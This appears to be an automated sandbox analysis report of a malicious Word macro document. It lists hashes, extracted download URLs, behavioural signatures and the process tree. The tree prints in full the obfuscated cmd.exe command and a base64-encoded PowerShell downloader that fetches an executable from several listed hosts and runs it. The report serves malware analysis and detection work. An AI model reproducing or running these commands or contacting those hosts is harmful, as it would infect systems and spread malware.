Analysis
-
max time kernel
101s -
max time network
103s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
14-06-2024 01:05
Behavioral task
behavioral1
Sample
a774d6487dc1a0649813a124beffebdd_JaffaCakes118.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
a774d6487dc1a0649813a124beffebdd_JaffaCakes118.doc
Resource
win10v2004-20240611-en
General
-
Target
a774d6487dc1a0649813a124beffebdd_JaffaCakes118.doc
-
Size
93KB
-
MD5
a774d6487dc1a0649813a124beffebdd
-
SHA1
ed860962c0c6bdb2146ce75af56e094dbfa7e4ce
-
SHA256
8d9e4d35475f67fa6a7afd266223740d67c834b848d2f410d783ef834531700e
-
SHA512
28b0d6493a9cdd2444955c977118c94ca1d47d75cd8a8eed354bad724fb47c92f755acd7808d228b94e2950db5155a0eb10de2eba3f3f550a07ed6a0b1ce9033
-
SSDEEP
1536:xptJlmrJpmxlRw99NBL+aL+PkEaaXQiFKLd:vte2dw99fykBaXQi
Malware Config
Extracted
http://webmounts.co.ke/rmFksbPG
http://pengacaraperceraian.pengacaratopsurabaya.com/s6
http://wp1.lukas.fr/9lvv9kkr
http://marbdobrasil.com/3X
http://repro4.com/website/wp-content/uploads/Hbdsm
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2800 1512 cmd.exe 81 -
Blocklisted process makes network request 2 IoCs
flow pid Process 28 332 powershell.exe 32 332 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
pid Process 2800 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1512 WINWORD.EXE 1512 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 332 powershell.exe 332 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 332 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 1512 WINWORD.EXE 1512 WINWORD.EXE 1512 WINWORD.EXE 1512 WINWORD.EXE 1512 WINWORD.EXE 1512 WINWORD.EXE 1512 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1512 wrote to memory of 2800 1512 WINWORD.EXE 86 PID 1512 wrote to memory of 2800 1512 WINWORD.EXE 86 PID 2800 wrote to memory of 332 2800 cmd.exe 90 PID 2800 wrote to memory of 332 2800 cmd.exe 90
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a774d6487dc1a0649813a124beffebdd_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /V^:On/C " ^S^et ^ ^ ^ ^s^57W=A^AC^A^g^A^A^IA^AC^AgA^AIA^AC^A^g^AAIAAC^Ag^A^AIA^ACA^gAA^IAACA^g^AQf^A0HA7B^AaAMGA0B^QYAMGA^9BwO^A^sG^A^h^B^QZ^AI^HA^iB^w^OA8G^A^m^Bgc^A^QCA^gA^Qb^A^UG^A0BQ^SA0CAl^B^w^aA8GA^2^BgbAkE^A7^AQ^KA^8^G^AmBgcAQC^A^gAAL^Ak^F^AvBQ^SAQC^A^oAQ^Z^A^wG^A^pB^gRAQGA^hB^wb^Aw^GAuBwdA^8^GA^EB^gLA^I^GA^0BwSAQCA^7^BQ^e^A^I^HA^0B^w^e^AkC^Av^BQT^A^oGAkA^AI^A4G^ApB^A^IA^kF^AvBQSA^QC^A^o^AA^aA^M^GAh^B^Q^Z^AIH^Av^B^g^ZA^sD^AnA^QZ^A^g^H^A^l^Bg^L^AcCArA^AR^AIGA^i^BA^JA^sCAn^A^AXAcC^ArA^wYAk^GAs^BgY^A^UH^A^wBg^OA^Y^H^A^uBQ^ZA^QCA^9^Aw^b^AYG^A^y^B^AJ^As^D^AnAQN^AA^DAx^Aw^J^AAC^A9AA^I^AQE^Ai^Bg^Y^A^QC^A7^AQ^KAcC^A^A^Bw^J^A^gCA^0BQa^A^wGAwB^w^UA^4CAn^A^Qb^A^M^H^Ak^Bg^Y^A^gE^Av^AwcA^Q^G^AhB^wbA^w^GAwBQ^d^A^8CA^0^B^g^bAUG^A^0^Bg^bA^8G^AjBQ^L^AAHA3BwLAU^G^A0B^QaAMHAi^BQ^ZAcHAvA^Q^bA8G^Aj^B^gL^A^Q^D^Av^Bgc^A^A^HAl^Bgc^A8C^Av^Ag^O^AA^H^A^0BAd^Ag^G^AA^BA^W^A^MDAvA^QbA^8GAj^B^gLA^w^G^A^pB^wcA^EGAy^B^g^Y^A8G^Ak^B^gY^A^IH^Ah^BQb^A^8CAvAg^O^A^A^H^A^0BAd^A^g^GA^A^Bgc^A^s^G^Ar^B^QOAYHA^2^BAb^A^kDAvAgc^A^Y^G^A^u^Awc^A^E^GAr^B^Qd^A^wG^AuA^Q^MAA^HA3^BwLA^8CA^6^A^AcAQHA0^BAaAAEA2A^wcA8C^At^B^wbA^M^G^AuA^QYA^kH^A^h^Bg^YAE^G^AyBQ^dA^M^H^Aw^B^w^bAQ^H^Ah^BgcAE^GA^jB^QYAc^G^A^u^B^QZ^A^A^H^Au^A^g^bAE^G^Ap^BQ^Y^AI^H^A^l^B^w^Y^AI^H^A^l^B^AcAE^G^A^yBQ^YA^M^G^AhB^wZ^A4^G^A^lB^Ac^A8C^Av^AgOAA^HA^0B^A^d^A^gGAA^B^wRAA^F^AiB^wc^As^G^A^G^B^Q^bA^I^HAv^AQZA^sG^Au^Aw^b^AM^GAu^AwcA^Q^H^A^uB^QdA8G^At^B^g^YAU^G^A^3B^wLA8CA6AAc^AQ^HA0B^Aa^AcCA^9A^wbA0EA^q^BA^J^AsDA0B^g^b^A^UG^ApBA^b^AM^E^A^iBQZ^AcF^Au^A^A^dAU^G^A^O^BAIAQHA^jBQ^Z^A^oGA^i^B^wbA0CA3^BQZA^4^G^A^9A^g^YA^Q^H^AL^BA^J^ ^e- ^l^l^eh^sr^ewo^p& f^oR /^L %^G ^IN (^ ^ ^ ^10^61,^ ^ ^-1^ ^ ^ ^,^ 0 ^ ^ )d^O ^sE^t ^t^Kz=!^t^Kz!!^s^57W:~ %^G, 1!&& ^i^F %^G L^E^Q ^0 ca^l^L %^t^Kz:~^ ^ ^-^1^062% "2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABLAHQAYgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABqAE0AbwA9ACcAaAB0AHQAcAA6AC8ALwB3AGUAYgBtAG8AdQBuAHQAcwAuAGMAbwAuAGsAZQAvAHIAbQBGAGsAcwBiAFAARwBAAGgAdAB0AHAAOgAvAC8AcABlAG4AZwBhAGMAYQByAGEAcABlAHIAYwBlAHIAYQBpAGEAbgAuAHAAZQBuAGcAYQBjAGEAcgBhAHQAbwBwAHMAdQByAGEAYgBhAHkAYQAuAGMAbwBtAC8AcwA2AEAAaAB0AHQAcAA6AC8ALwB3AHAAMQAuAGwAdQBrAGEAcwAuAGYAcgAvADkAbAB2AHYAOQBrAGsAcgBAAGgAdAB0AHAAOgAvAC8AbQBhAHIAYgBkAG8AYgByAGEAcwBpAGwALgBjAG8AbQAvADMAWABAAGgAdAB0AHAAOgAvAC8AcgBlAHAAcgBvADQALgBjAG8AbQAvAHcAZQBiAHMAaQB0AGUALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvAEgAYgBkAHMAbQAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAYgBiAEQAIAA9ACAAJwAxADAANQAnADsAJAByAGYAbwA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABiAGIARAArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQASQBvAFkAIABpAG4AIAAkAGoATQBvACkAewB0AHIAeQB7ACQASwB0AGIALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQASQBvAFkALAAgACQAcgBmAG8AKQA7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAcgBmAG8AOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AH0AfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:332
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82